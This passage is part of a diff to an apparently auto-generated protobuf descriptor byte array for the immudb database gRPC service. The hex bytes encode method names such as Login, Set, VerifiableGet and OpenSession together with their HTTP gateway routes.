0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, - 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, - 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, - 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, - 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, - 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, + 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, + 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, + 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, + 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, + 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, + 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, - 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, - 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, - 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, - 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, - 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, - 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, - 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, - 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, - 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, - 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, - 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, - 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, - 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, - 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, - 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, - 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, - 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, - 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, - 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, - 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, - 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, - 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, - 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, - 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, - 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, - 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, - 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, - 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, + 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, + 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, + 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 